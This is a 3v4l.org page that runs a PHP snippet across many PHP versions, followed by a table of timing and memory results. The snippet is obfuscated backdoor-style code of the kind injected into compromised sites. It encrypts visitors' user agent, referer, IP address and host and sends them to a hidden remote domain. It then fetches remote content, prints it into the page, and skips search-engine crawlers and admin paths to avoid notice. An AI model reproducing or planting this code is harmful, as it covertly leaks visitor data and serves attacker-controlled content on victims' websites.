3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en23($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.63
8.3.50.0090.01017.48
8.3.40.0070.00718.69
8.3.30.0090.00918.79
8.3.20.0040.00418.82
8.3.10.0030.00618.85
8.3.00.0080.00019.30
8.2.180.0040.01818.31
8.2.170.0110.01122.96
8.2.160.0100.00721.19
8.2.150.0050.00324.18
8.2.140.0090.00024.66
8.2.130.0030.00626.16
8.2.120.0080.00021.02
8.2.110.0060.00320.93
8.2.100.0040.00818.03
8.2.90.0070.00319.48
8.2.80.0040.00419.41
8.2.70.0000.00817.75
8.2.60.0090.00018.18
8.2.50.0050.00318.07
8.2.40.0080.00018.09
8.2.30.0040.00418.15
8.2.20.0030.00617.77
8.2.10.0080.00017.80
8.2.00.0040.00717.83
8.1.280.0040.01125.92
8.1.270.0040.00424.66
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0040.00422.61
8.1.230.0120.00020.97
8.1.220.0000.00817.89
8.1.210.0040.00418.97
8.1.200.0060.00317.47
8.1.190.0040.00417.66
8.1.180.0080.00018.10
8.1.170.0000.00818.78
8.1.160.0050.00319.06
8.1.150.0070.00018.79
8.1.140.0000.00817.50
8.1.130.0030.00317.95
8.1.120.0000.00817.44
8.1.110.0040.00417.48
8.1.100.0000.00817.46
8.1.90.0000.00717.48
8.1.80.0000.00717.59
8.1.70.0070.00017.55
8.1.60.0000.00817.77
8.1.50.0030.00517.58
8.1.40.0050.00317.64
8.1.30.0040.00417.79
8.1.20.0000.00817.79
8.1.10.0050.00317.60
8.1.00.0050.00317.64
8.0.300.0080.00020.13
8.0.290.0050.00316.75
8.0.280.0080.00018.58
8.0.270.0040.00417.39
8.0.260.0030.00316.92
8.0.250.0030.00517.13
8.0.240.0030.00317.00
8.0.230.0040.00417.09
8.0.220.0030.00317.02
8.0.210.0030.00416.98
8.0.200.0080.00017.11
8.0.190.0030.00517.02
8.0.180.0090.00216.98
8.0.170.0050.00517.05
8.0.160.0040.00417.07
8.0.150.0030.00617.03
8.0.140.0050.00216.87
8.0.130.0070.00013.46
8.0.120.0030.00516.88
8.0.110.0080.00017.07
8.0.100.0000.00717.06
8.0.90.0040.00416.99
8.0.80.0030.01417.13
8.0.70.0070.00016.93
8.0.60.0040.00416.91
8.0.50.0000.00817.09
8.0.30.0100.01017.20
8.0.20.0100.01217.08
8.0.10.0070.00017.03
8.0.00.0140.01116.78
7.4.330.0030.00313.14
7.4.320.0030.00316.68
7.4.300.0050.00216.78
7.4.290.0030.00516.74
7.4.280.0060.00316.63
7.4.270.0070.00016.66
7.4.260.0060.00013.45
7.4.250.0050.00516.54
7.4.240.0040.00416.63
7.4.230.0070.00016.73
7.4.220.0150.00316.73
7.4.210.0080.00916.70
7.4.200.0030.00316.55
7.4.190.0050.00216.55
7.4.160.0090.00616.70
7.4.150.0140.00416.75
7.4.140.0040.01316.54
7.4.130.0030.01316.64
7.4.120.0100.00816.50
7.4.110.0060.01216.54
7.4.100.0180.00316.45
7.4.90.0080.00816.69
7.4.80.0120.00619.39
7.4.70.0090.00916.74
7.4.60.0110.00816.53
7.4.50.0000.00916.81
7.4.40.0100.00716.55
7.4.30.0030.01316.75
7.4.00.0060.00915.21
7.3.330.0060.00013.52
7.3.320.0030.00313.46
7.3.310.0000.00716.53
7.3.300.0000.00716.41
7.3.290.0100.01016.37
7.3.280.0120.01016.41
7.3.270.0110.00716.58
7.3.260.0150.00316.71
7.3.250.0100.01216.66
7.3.240.0030.01316.46
7.3.230.0070.01016.67
7.3.210.0070.01016.66
7.3.200.0090.00916.65
7.3.190.0130.00316.66
7.3.180.0090.00916.59
7.3.170.0040.01816.55
7.3.160.0100.01016.70
7.3.120.0000.01314.97
7.3.10.0080.00616.47
7.3.00.0100.00416.79
7.2.330.0110.00816.82
7.2.320.0030.02016.85
7.2.310.0100.00916.46
7.2.300.0110.00516.86
7.2.290.0090.00916.57
7.2.130.0050.01116.98
7.2.120.0050.01216.82
7.2.110.0050.00716.87
7.2.100.0090.00716.93
7.2.90.0050.00916.86
7.2.80.0080.00516.81
7.2.70.0090.00516.90
7.2.60.0060.00916.87
7.2.50.0080.00816.89
7.2.40.0080.00516.90
7.2.30.0050.00716.80
7.2.20.0050.00916.69
7.2.10.0070.00916.84
7.2.00.0030.01117.81
7.1.250.0050.01015.91
7.1.100.0060.00618.07
7.1.70.0030.00716.86
7.1.60.0060.01819.40
7.1.50.0180.02234.86
7.1.00.0030.05722.33
7.0.200.0160.01015.01
7.0.140.0030.07021.95
7.0.120.0100.06322.02
7.0.100.0300.07720.08
7.0.90.0100.08020.00
7.0.80.0270.06320.07
7.0.70.0270.06719.96
7.0.60.0100.07320.05
7.0.50.0100.07720.37
7.0.40.0230.05319.99
7.0.30.0070.08720.11
7.0.20.0070.07020.18
7.0.10.0030.08720.00
7.0.00.0100.08320.05
5.6.280.0000.07721.09
5.6.250.0070.07720.80
5.6.240.0130.07720.76
5.6.230.0130.07020.66
5.6.220.0070.07020.70
5.6.210.0100.04320.69
5.6.200.0200.07321.17
5.6.190.0130.07721.17
5.6.180.0070.08021.11
5.6.170.0170.08021.15
5.6.160.0070.04721.17
5.6.150.0130.07721.13
5.6.140.0070.08021.07
5.6.130.0200.07021.07
5.6.120.0130.07721.17
5.6.110.0070.04021.23
5.6.100.0100.08320.98
5.6.90.0070.08021.15
5.6.80.0070.04720.39
5.6.70.0000.06320.49
5.6.60.0030.06020.51
5.6.50.0100.06020.53
5.6.40.0070.07720.50
5.6.30.0070.07720.36
5.6.20.0070.04720.43
5.6.10.0070.07320.53
5.6.00.0030.04020.48
5.5.380.0030.05320.49
5.5.370.0030.05020.42
5.5.360.0030.05320.41
5.5.350.0170.06020.44
5.5.340.0130.05720.89
5.5.330.0170.07020.80
5.5.320.0100.04320.97
5.5.310.0100.08320.96
5.5.300.0030.06320.87
5.5.290.0070.05020.90
5.5.280.0100.07320.87
5.5.270.0000.06320.89
5.5.260.0100.08020.89
5.5.250.0070.09020.76
5.5.240.0130.07320.29
5.5.230.0130.05320.36
5.5.220.0170.05320.20
5.5.210.0070.07720.24
5.5.200.0100.08320.20
5.5.190.0030.05020.06
5.5.180.0200.06720.33
5.5.160.0130.07720.26
5.5.150.0030.08320.24
5.5.140.0130.06020.34
5.5.130.0100.07020.24
5.5.120.0100.07020.32
5.5.110.0100.07720.18
5.5.100.0130.07320.08
5.5.90.0000.05020.16
5.5.80.0100.03720.16
5.5.70.0000.05320.23
5.5.60.0100.07720.13
5.5.50.0000.04320.15
5.5.40.0200.06720.13
5.5.30.0100.07020.02
5.5.20.0030.07720.21
5.5.10.0000.08320.15
5.5.00.0100.07720.18
5.4.450.0030.07719.42
5.4.440.0100.05719.27
5.4.430.0000.04319.36
5.4.420.0200.06019.43
5.4.410.0000.05719.09
5.4.400.0130.07319.19
5.4.390.0000.04318.85
5.4.380.0030.08019.18
5.4.370.0130.07319.05
5.4.360.0030.07019.04
5.4.350.0100.07719.20
5.4.340.0070.04719.07
5.4.320.0130.03719.16
5.4.310.0030.04719.05
5.4.300.0130.03718.94
5.4.290.0230.06019.17
5.4.280.0030.05019.16
5.4.270.0070.04318.87
5.4.260.0030.05319.18
5.4.250.0030.07018.88
5.4.240.0100.06019.14
5.4.230.0100.05718.86
5.4.220.0100.05318.84
5.4.210.0100.07019.20
5.4.200.0000.05319.09
5.4.190.0100.07019.22
5.4.180.0070.07019.13
5.4.170.0070.07318.89
5.4.160.0100.07019.18
5.4.150.0100.04019.01
5.4.140.0000.08016.47
5.4.130.0030.07716.40
5.4.120.0030.04016.46
5.4.110.0000.04716.49
5.4.100.0070.07716.40
5.4.90.0070.06016.49
5.4.80.0070.07016.53
5.4.70.0030.04016.57
5.4.60.0030.07316.46
5.4.50.0130.06016.38
5.4.40.0130.07016.53
5.4.30.0070.06016.53
5.4.20.0070.06016.50
5.4.10.0100.07016.50
5.4.00.0030.04315.91
5.3.290.0100.06714.84
5.3.280.0070.05714.68
5.3.270.0130.05314.75
5.3.260.0100.07314.78
5.3.250.0000.08714.80
5.3.240.0030.07314.64
5.3.230.0070.06314.65
5.3.220.0000.06014.75
5.3.210.0070.06314.59
5.3.200.0030.07014.58
5.3.190.0000.09014.73
5.3.180.0030.07714.71
5.3.170.0100.03014.67
5.3.160.0000.07714.64
5.3.150.0030.04314.59
5.3.140.0030.08014.78
5.3.130.0030.05714.76
5.3.120.0130.06014.61
5.3.110.0130.06714.66
5.3.100.0130.06714.05
5.3.90.0100.04014.07
5.3.80.0070.07714.15
5.3.70.0200.03014.04
5.3.60.0030.07314.07
5.3.50.0100.07014.01
5.3.40.0070.05714.14
5.3.30.0100.06314.01
5.3.20.0130.06713.71
5.3.10.0100.04313.88
5.3.00.0100.04313.64

preferences:
50.17 ms | 401 KiB | 5 Q